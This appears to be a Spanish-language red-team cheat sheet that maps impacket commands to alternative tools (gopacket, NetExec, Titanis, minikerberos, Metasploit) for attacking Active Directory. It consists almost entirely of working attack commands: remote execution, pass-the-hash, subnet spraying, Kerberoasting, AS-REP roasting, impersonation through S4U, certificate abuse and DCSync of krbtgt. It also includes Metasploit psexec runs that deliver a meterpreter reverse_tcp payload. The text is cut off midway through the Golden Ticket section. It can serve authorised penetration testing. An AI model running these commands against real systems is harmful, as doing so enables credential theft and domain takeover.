# 📦 Outpacket > **¿Cansado de impacket?** Esta chuleta mapea los flujos de trabajo comunes de impacket a sus alternativas modernas * * * ## Índice * Referencia rápida de autenticación * 1\. Ejecución remota * WMI Exec · `wmiexec.py` * DCOM Exec · `dcomexec.py` * Exec basado en servicios · `smbexec.py` · `psexec.py` * Exec mediante tarea programada · `atexec.py` * Ejecución masiva · `wmiexec.py` · `psexec.py` * 2\. Kerberos * Solicitar TGT · `getTGT.py` * Solicitar TGS · `getST.py` * S4U2self / S4U2proxy · `getST.py -impersonate` * Kerberoasting · `GetUserSPNs.py` * AS-REP Roasting · `GetNPUsers.py` * Roasting de ccache * Sonda de pre-autenticación / tipo de cifrado · `GetNPUsers.py` * Recuperación de hash NT de PKINIT * Renovación de tickets · `getST.py -renew` * Conversión de formato de tickets · `ticketConverter.py` * Cambio de contraseña · `changepasswd.py` * Golden / Silver Ticket · `ticketer.py` * 3\. Operaciones SMB / de archivos * Listar recursos compartidos · `smbclient.py -shares` * Explorar / listar archivos · `smbclient.py` * Descargar un archivo · `smbclient.py get` * Descargar con semántica de backup * Subir un archivo · `smbclient.py put` * Crear / eliminar directorios y archivos · `smbclient.py` * Listar named pipes · `smbclient.py` * Pass the Hash — SMB · `smbclient.py -hashes` * SMB sobre SOCKS5 · `proxychains smbclient.py` * Enumerar archivos abiertos / sesiones · `netview.py` * Timestomping remoto de archivos * Enumeración de instantáneas VSS · * 4\. Volcado de credenciales * Análisis de minidump de LSASS * Volcar hashes SAM · `secretsdump.py -sam` * Volcar secretos LSA · `secretsdump.py -lsa` * Volcar SAM + LSA juntos · `secretsdump.py` * Volcado masivo de SAM / LSA · `secretsdump.py` * Volcado de NTDS mediante instantánea VSS · `secretsdump.py -use-vss` * Volcado de NTDS mediante IFM · `wmiexec.py` · `smbclient.py` * Volcado de NTDS mediante wbadmin · `wmiexec.py` * Volcado de NTDS mediante Diskshadow · `wmiexec.py` · `smbclient.py` * Volcado de NTDS mediante Kerb-Key-List · * 5\. Enumeración * Usuarios de dominio (SAMR) · `samrdump.py` · `net.py` * Grupos / alias locales · `net.py group` · `net.py localgroup` * Fuerza bruta / búsqueda de SID · `lookupsid.py` * Endpoints RPC · `rpcdump.py` · `rpcmap.py` * Consultar WMI · `wmiquery.py` * Invocación de métodos WMI · `wmiexec.py` * Registro remoto · `reg.py` * Descriptor de seguridad de clave de registro * Enumeración de servicios · `services.py` * 6\. Active Directory / LDAP * Enumerar usuarios / equipos de AD · `GetADUsers.py` · `GetADComputers.py` * Enumeración de GPO y confianzas de dominio · `ldapsearch` · `bloodyAD` * Encontrar configuraciones de delegación · `findDelegation.py` * Añadir una cuenta de equipo · `addcomputer.py` * Añadir una cuenta de usuario · `net.py user -add` * Establecer RBCD · `rbcd.py` * Abuso de DACL · `dacledit.py` · `owneredit.py` * Modificación de atributos de usuario (UAC) · `net.py` * 7\. Coerción de autenticación · `printerbug.py` · `dfscoerce.py` * Patrón de coerción + relay · `ntlmrelayx.py` · `smbserver.py` (captura) * 8\. Certificados * Generación de PFX autofirmado * Enumeración de plantillas ADCS · `netexec ldap -M adcs` * ADCS ESC1 * 9\. Cosecha exótica de credenciales * certsync — Golden Cert + UnPAC the Hash * Clave de respaldo DPAPI del dominio — Descifrado masivo de credenciales * * * ## Referencia rápida de autenticación > **⚠️ Nota sobre ccache en Titanis:** `-Tgt` actualmente rechaza los archivos ccache generados por impacket (`getTGT.py`) y herramientas similares. Causa raíz: impacket codifica el principal de servicio del TGT como **NT_PRINCIPAL** (tipo de nombre 1); Titanis espera **NT_SERVICE_INSTANCE** (tipo de nombre 2) y no reconoce el ticket como TGT. El desarrollador de Titanis tiene pendiente una corrección para relajar esta comprobación. Hasta entonces, usa `Kerb asreq -TicketCache` para obtener un TGT nativo de Titanis y pásalo mediante `-Tgt`. Por otro lado, `-TicketCache` no proporciona contexto de autenticación de forma silenciosa para archivos ccache no nativos — usa `-Tgt` (con un archivo generado por Titanis) en su lugar. Para archivos ccache de impacket/Metasploit, usa `KRB5CCNAME` \+ `wmiexec.py -k` / `smbclient.py -k` directamente. * * * ## 1\. Ejecución remota ### WMI Exec```bash # impacket wmiexec.py DOMAIN/jdoe:some-email@example.com "whoami" # gopacket — password (interactive semi-shell) wmiexec DOMAIN/jdoe:some-email@example.com # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" # Titanis Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 "whoami" # impacket — pass-the-hash wmiexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com "ipconfig" # gopacket — pass-the-hash wmiexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # NetExec — pass-the-hash netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "ipconfig" # Titanis — pass-the-hash Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 "ipconfig" # impacket — Kerberos wmiexec.py -k -no-pass DOMAIN/some-email@example.com "hostname" # gopacket — Kerberos (must use FQDN domain; FQDN hostname as target) KRB5CCNAME=jdoe.ccache wmiexec -k -no-pass -dc-ip 192.168.1.1 DOMAIN/some-email@example.com # Titanis — Kerberos # Use the short hostname as target (for Kerberos SPN + application protocol); # use -ha for the actual TCP connection (IP or FQDN). FQDNs as the target fail # because the server expects the short hostname in the WMI activation request. Wmi exec dc01 -ha 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password Password123 "hostname" # Titanis — Kerberos with ccache TGT (Titanis-generated only; see TicketCache note) Wmi exec dc01 -ha 192.168.1.10 -Tgt /tmp/jdoe.ccache -Kdc 192.168.1.1 "hostname" root@kitploit:~ [↑ Volver al Índice](#index) --- ### DCOM Exec > **Titanis `Dcom invoke` — Procedimiento operativo estándar (SOP) de búsqueda de CLSID:** > - **La resolución de ProgID es local.** Titanis resuelve los ProgID (p. ej., `MMC20.Application`) desde el registro del atacante, no el del objetivo. Desde Linux no hay ningún registro contra el que resolver; desde Windows, el CLSID del atacante puede diferir del del objetivo. Usa siempre `Reg` para consultar el CLSID real en el sistema remoto y luego pasa el GUID puro. > - **Recorrido de cadena de propiedades** (v0.9.20260320+): Dcom invoke ahora admite rutas de propiedades con puntos como `Document.ActiveView.ExecuteShellCommand`, recorriendo automáticamente la cadena IDispatch. MMC20.Application funciona. `Item()` de ShellWindows no funciona: requiere un argumento de índice que la sintaxis de cadena no puede pasar.```bash # impacket dcomexec.py DOMAIN/jdoe:some-email@example.com "whoami" # impacket — pass-the-hash dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com "whoami" # impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work) dcomexec.py DOMAIN/jdoe:some-email@example.com "whoami" -object ShellWindows dcomexec.py DOMAIN/jdoe:some-email@example.com "whoami" -object ShellBrowserWindow # gopacket — password (interactive semi-shell; default object is ShellWindows) dcomexec DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash with MMC20 object dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/some-email@example.com # gopacket — silent command execution (no interactive shell, output redirect required) dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:some-email@example.com \ 'cmd /c whoami > C:\Windows\Temp\out.txt' # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec # Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+) # 4 args: Command, Directory, Parameters, WindowState (7=minimized) # ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ 49B2791A-B1AE-4C90-9B8E-E860BA07F889 \ Document.ActiveView.ExecuteShellCommand \ cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7' Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \ '\\192.168.1.10\C$\Windows\Temp\out.txt' # Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too) Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \ 'C:\Windows\System32\cmd.exe' # CLSID lookup SOP — look up on the remote system, then pass the raw GUID # Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec wmiexec.py DOMAIN/jdoe:some-email@example.com \ 'reg query HKCR\\MMC20.Application\\CLSID /ve' # → (Default) REG_SZ {49B2791A-B1AE-4C90-9B8E-E860BA07F889} # Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ 'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}' ↑ Back to Index * * * ### Ejecución basada en servicios (smbexec / psexec) > **⚠️`smbexec.py` contra DCs:** `smbexec.py` falla contra Controladores de Dominio con `STATUS_OBJECT_NAME_NOT_FOUND` al abrir `\pipe\svcctl`. Los DC son más estrictos con los parámetros de apertura de named pipes que los servidores miembro; las flags de smbexec son rechazadas donde las de `services.py` no lo son. Usa `services.py` para la gestión de servicios en DCs, o `wmiexec.py` para ejecución remota.```bash # impacket — smbexec (interactive semi-shell; works against member servers) smbexec.py DOMAIN/jdoe:some-email@example.com # gopacket — smbexec (interactive semi-shell; runs as NT AUTHORITY\SYSTEM) smbexec DOMAIN/jdoe:some-email@example.com # gopacket — smbexec pass-the-hash smbexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # impacket — psexec psexec.py DOMAIN/jdoe:some-email@example.com cmd.exe # gopacket — psexec (uploads service binary, runs as NT AUTHORITY\SYSTEM) psexec DOMAIN/jdoe:some-email@example.com # gopacket — psexec pass-the-hash psexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # Metasploit — password msf6 > use exploit/windows/smb/psexec msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe smbpass=Password123 payload=windows/x64/meterpreter/reverse_tcp lhost= # Metasploit — pass-the-hash msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 payload=windows/x64/meterpreter/reverse_tcp lhost= # Titanis — create service, retrieve output, clean up Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc "C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\out.txt" -Start Smb2Client get \192.168.1.10\ADMIN$\Temp\out.txt out.txt -UserName jdoe -UserDomain DOMAIN -Password Password123 Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc root@kitploit:~ [↑ Volver al índice](#index) --- ### Ejecución de tarea programada > **Nota:** MS-TSCH aún no está implementado en Titanis. Use `Win32_ScheduledJob` mediante WMI como solución alternativa, o `atexec.py` para semántica MS-TSCH real.```bash # Titanis — create immediate scheduled task via Win32_ScheduledJob Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ Win32_ScheduledJob Create \ "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'" # Titanis — retrieve output and clean up Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \ -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rm \\192.168.1.10\C$\Windows\Temp\out.txt \ -UserName jdoe -UserDomain DOMAIN -Password Password123 # impacket — true MS-TSCH (creates, runs, and cleans up automatically) atexec.py DOMAIN/jdoe:some-email@example.com "whoami > C:\Windows\Temp\out.txt" # gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM) atexec DOMAIN/jdoe:some-email@example.com whoami # gopacket — pass-the-hash atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com whoami # impacket — pass-the-hash atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com \ "whoami > C:\Windows\Temp\out.txt" # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec ↑ Volver al índice * * * ### Ejecución remota masiva en hosts```bash # NetExec — spray across a subnet netexec smb 192.168.1.0/24 -u jdoe -p Password123 -x "whoami" # NetExec — pass-the-hash spray netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "whoami" # Titanis — loop over a host list while IFS= read -r host; do echo "=== $host ===" >> exec_results.txt wmi exec "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 "whoami /all" >> exec_results.txt 2>&1 done < hosts.txt root@kitploit:~ [↑ Volver al índice](#index) --- ## 2. Kerberos ### Solicitar un TGT```bash # impacket — password getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1 # gopacket — password getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:some-email@example.com # minikerberos — password minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:some-email@example.com" --ccache jdoe.ccache # Titanis — password (outputs kirbi) Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \ -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi # Metasploit msf6 > use auxiliary/admin/kerberos/get_ticket msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \ password=Password123 action=GET_TGT # impacket — NTLM hash getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1 # gopacket — NTLM hash getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # minikerberos — NTLM hash minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:some-email@example.com" --ccache jdoe.ccache # Titanis — NTLM hash Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \ -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi # impacket — AES256 getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe # minikerberos — AES256 minikerberos-getTGT \ "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \ --ccache jdoe.ccache # Titanis — AES256 Kerb asreq -UserName jdoe -Realm DOMAIN \ -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \ -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi # certipy — PKINIT certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL # minikerberos — PKINIT (also recovers NT hash via UnPAC) minikerberos-getTGT \ "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \ --ccache jdoe.ccache # Titanis — explicit RC4 Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \ -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi ↑ Volver al índice * * * ### Solicitar un ticket de servicio (TGS)```bash # impacket getST.py -spn cifs/fileserver.domain.local -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123 # Metasploit msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe password=Password123 spn=cifs/fileserver.domain.local action=GET_TGS # minikerberos (requires existing ccache) minikerberos-getTGS "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" cifs/fileserver.domain.local fileserver.ccache # Titanis Kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi cifs/fileserver.domain.local -OutputFileName jdoe-fileserver.kirbi # gopacket — password getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com root@kitploit:~ [↑ Volver al índice](#index) --- ### S4U2self / S4U2proxy```bash # impacket — S4U2self + S4U2proxy in one call getST.py -spn cifs/target.domain.local -impersonate Administrator \ -dc-ip 192.168.1.1 DOMAIN/svc:Password123 # impacket — pass-the-hash getST.py -spn cifs/target.domain.local -impersonate Administrator \ -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc # minikerberos — S4U2self minikerberos-getS4U2self \ "kerberos+password://DOMAIN\svc$:some-email@example.com" \ some-email@example.com s4u_self.ccache # minikerberos — S4U2proxy minikerberos-getS4U2proxy \ "kerberos+password://DOMAIN\svc$:some-email@example.com" \ cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache # Titanis — combined self+proxy Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \ -S4UserName Administrator@DOMAIN cifs/target.domain.local \ -OutputFileName admin-target.kirbi # gopacket — S4U2self + S4U2proxy (combined) getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \ DOMAIN/svc:some-email@example.com # gopacket — pass-the-hash getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \ -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com ↑ Volver al índice * * * ### Kerberoasting```bash # impacket GetUserSPNs.py -dc-ip 192.168.1.1 -request DOMAIN/jdoe:Password123 # Metasploit msf6 > use auxiliary/gather/get_user_spns msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe pass=Password123 # Metasploit — pass-the-hash msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 # NetExec netexec ldap 192.168.1.1 -u jdoe -p Password123 --kerberoasting kerberoast.txt # minikerberos minikerberos-kerberoast "kerberos+password://DOMAIN\jdoe:some-email@example.com" kerberoast_hashes.txt # minikerberos — NTLM hash minikerberos-kerberoast "kerberos+ntlm-nt://DOMAIN\jdoe:some-email@example.com" kerberoast_hashes.txt # pypykatz pypykatz kerberos spnroast "kerberos+password://DOMAIN\jdoe:some-email@example.com" -o kerberoast_hashes.txt # pypykatz — NTLM hash pypykatz kerberos spnroast "kerberos+ntlm-nt://DOMAIN\jdoe:some-email@example.com" -o kerberoast_hashes.txt # msldap msldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com" # msldap> kerberoast kerberoast_hashes.txt # Titanis — enumerate SPNs, get TGT, loop tgsreq per SPN, extract hashes # Use Ldap query (not Ldap search) — requires -FollowReferrals on Linux # -OutputFields takes one field at a time on Linux; use -OutputStyle List to get multiple attrs Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(servicePrincipalName=_)" -OutputFields servicePrincipalName -OutputStyle List -FollowReferrals 2>/dev/null | awk '/^servicePrincipalName:/{print $2}' > spns.txt Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi while IFS= read -r spn; do safe=$(echo "$spn" | tr '/:@' '_') kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi -EncTypes Rc4Hmac "$spn" -OutputFileName "roast_${safe}.kirbi" done < spns.txt Kerb select -From roast__.kirbi -Into kerberoast-all.ccache minikerberos-ccacheroast kerberoast-all.ccache # gopacket — password (requires -port 389; default 445 breaks LDAP enumeration) GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com root@kitploit:~ [↑ Volver al índice](#index) --- ### AS-REP Roasting```bash # impacket — no credentials required GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/ # Metasploit msf6 > use auxiliary/gather/kerberos_enumusers msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \ user_file=/path/to/users.txt # NetExec netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt # pypykatz — no credentials required, userlist pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \ --userlist users.txt -o asrep_hashes.txt # pypykatz — authenticated, auto-discover targets via LDAP pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:some-email@example.com" \ --ldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com" -o asrep_hashes.txt # minikerberos — userlist (no credentials required) # syntax: minikerberos-asreproast [user | @userlist.txt] minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt # minikerberos — NTLM hash auth (enumerate via LDAP, then roast) # Pass individual username or @file; no URL arg — server+domain are positional minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt # msldap (enumerate targets only — no hash capture) msldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com" # msldap> asrep # Titanis — find targets via LDAP, loop asreq # Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ "(userAccountControl|=4194304)" \ -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt while IFS= read -r user; do kerb asreq -UserName "$user" -Realm DOMAIN \ -Kdc 192.168.1.1 -EncTypes Rc4Hmac \ -OutputFileName "asrep_${user}.kirbi" 2>/dev/null done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt) # gopacket — authenticated LDAP enumeration + roast (requires -port 389) GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash GetNPUsers -dc-ip 192.168.1.1 -port 389 \ -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # gopacket — unauthenticated with user list GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1 ↑ Back to Index * * * ### ccache Roasting (sin conexión) Extrae hashes `$krb5tgs$` de archivos ccache robados sin volver a solicitar nada.```bash # minikerberos minikerberos-ccacheroast stolen.ccache # pypykatz pypykatz kerberos ccache roast stolen.ccache # Feed output to: hashcat -m 13100 or john --format=krb5tgs root@kitploit:~ [↑ Volver al índice](#index) --- ### Pre-Auth / Sonda de Tipo-Enc```bash # kerbrute — enumerate valid accounts (no credentials) kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt # pypykatz — enumerate valid accounts (no credentials) pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt # impacket — shows no-preauth accounts only GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/ # Metasploit — classifies valid / disabled / no-preauth msf6 > use auxiliary/gather/kerberos_enumusers msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \ user_file=/path/to/users.txt verbose=true # Titanis — single account probe Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1 # Titanis — bulk probe loop while IFS= read -r user; do result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1) if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then echo "INVALID: $user" elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then echo "NO-PREAUTH: $user" else echo "VALID: $user" fi done < users.txt ↑ Volver al Índice * * * ### Recuperación de NT Hash mediante PKINIT (UnPAC) Recupera el NT Hash de una cuenta mediante PKINIT después de obtener un certificado.```bash # certipy — certificate → NT hash + TGT (most direct; also outputs ccache) certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL # certipy — specify username explicitly (useful when UPN in cert differs) certipy auth -pfx admin.pfx -username Administrator -domain DOMAIN.LOCAL -dc-ip 192.168.1.1 # minikerberos — certificate → NT hash only minikerberos-getNTPKInit "kerberos+pfx://DOMAIN\targetuser:@192.168.1.1?pfx=targetuser.pfx" targetuser_nt.txt # PKINITtools — gettgtpkinit.py: PFX → TGT ccache + prints AS-REP enc key python gettgtpkinit.py -cert-pfx targetuser.pfx -pfx-pass Password123 -dc-ip 192.168.1.1 DOMAIN/targetuser targetuser.ccache # PKINITtools — getnthash.py: TGT ccache + AS-REP enc key → NT hash # (run after gettgtpkinit.py; use the AS-REP key printed by that tool) export KRB5CCNAME=targetuser.ccache python getnthash.py -key DOMAIN/targetuser # Full chain: certipy ESC1 → PFX → minikerberos UnPAC → NT hash → Titanis PTH certipy req -username jdoe@DOMAIN -password Password123 -ca CA-NAME -template VulnerableTemplate -upn some-email@example.com -target ca.domain.local -out admin minikerberos-getNTPKInit "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt Wmi exec 192.168.1.10 -UserName Administrator -UserDomain DOMAIN -NtlmHash "whoami" root@kitploit:~ [↑ Back to Index](#index) --- ### Renovación de tickets```bash # impacket export KRB5CCNAME=jdoe.ccache getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe # MIT Kerberos kinit -R krenew -v -b -t # minikerberos minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache # Titanis Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi # gopacket — renew TGT (KRB5CCNAME must point to an existing ccache) KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/some-email@example.com ↑ Volver al Índice * * * ### Conversión de Formato de Ticket```bash # impacket ticketConverter.py jdoe.ccache jdoe.kirbi ticketConverter.py jdoe.kirbi jdoe.ccache # Metasploit msf6 > use auxiliary/admin/kerberos/ticket_converter msf6 auxiliary(ticket_converter) > run inputpath=jdoe.ccache outputpath=jdoe.kirbi # Metasploit — inspect ticket (optionally decrypt) msf6 > use auxiliary/admin/kerberos/inspect_ticket msf6 auxiliary(inspect_ticket) > run ticket_path=jdoe.ccache nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 # minikerberos minikerberos-ccache2kirbi jdoe.ccache minikerberos-kirbi2ccache jdoe.kirbi jdoe.ccache minikerberos-ccacheedit list jdoe.ccache minikerberos-ccacheedit delete jdoe.ccache # Titanis — merge multiple files Kerb select -From jdoe.ccache Kerb select -From jdoe*.kirbi -Into all-jdoe.ccache # gopacket — ccache ↔ kirbi conversion ticketConverter jdoe.ccache jdoe.kirbi ticketConverter jdoe.kirbi jdoe.ccache # gopacket — inspect ticket contents describeTicket /path/to/jdoe.ccache describeTicket /path/to/jdoe.kirbi root@kitploit:~ [↑ Volver al Índice](#index) --- ### Cambiar Contraseña```bash # impacket — user changes own password changepasswd.py -protocol kpasswd DOMAIN/jdoe:some-email@example.com -newpass NewPass # Titanis — change own password Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass # impacket — admin resets another user's password changepasswd.py -reset DOMAIN/admin:some-email@example.com -newpass NewPass -altuser DOMAIN/jdoe # bloodyAD — admin resets another user's password bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass # bloodyAD — pass-the-hash bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass # Titanis — admin sets another user's password Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass # gopacket — admin resets another user's password (SAMR over SMB) changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/some-email@example.com # gopacket — admin reset via pass-the-hash changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/some-email@example.com ↑ Volver al Índice * * * ### Golden / Silver Ticket > **Estado de Titanis:** No se permite falsificar tickets. Usa Metasploit `auxiliary/admin/kerberos/forge_ticket` (Ruby nativo) o impacket `ticketer.py`. **⚠️ Los tickets falsificados no se pueden cargar actualmente en Titanis** mediante `-Tgt` — impacket codifica los principales de servicio de TGT como NT_PRINCIPAL (tipo de nombre 1), pero Titanis espera NT_SERVICE_INSTANCE (tipo de nombre 2); el desarrollador tiene pendiente una corrección. Por ahora, usa `KRB5CCNAME` \+ impacket (`wmiexec.py -k`, `smbclient.py -k`) directamente con los tickets falsificados.```bash # Step 1 — obtain krbtgt hash via DCSync secretsdump.py DOMAIN/Administrator:some-email@example.com -just-dc-user DOMAIN/krbtgt | grep krbtgt # Step 1 alt — pypykatz DCSync pypykatz 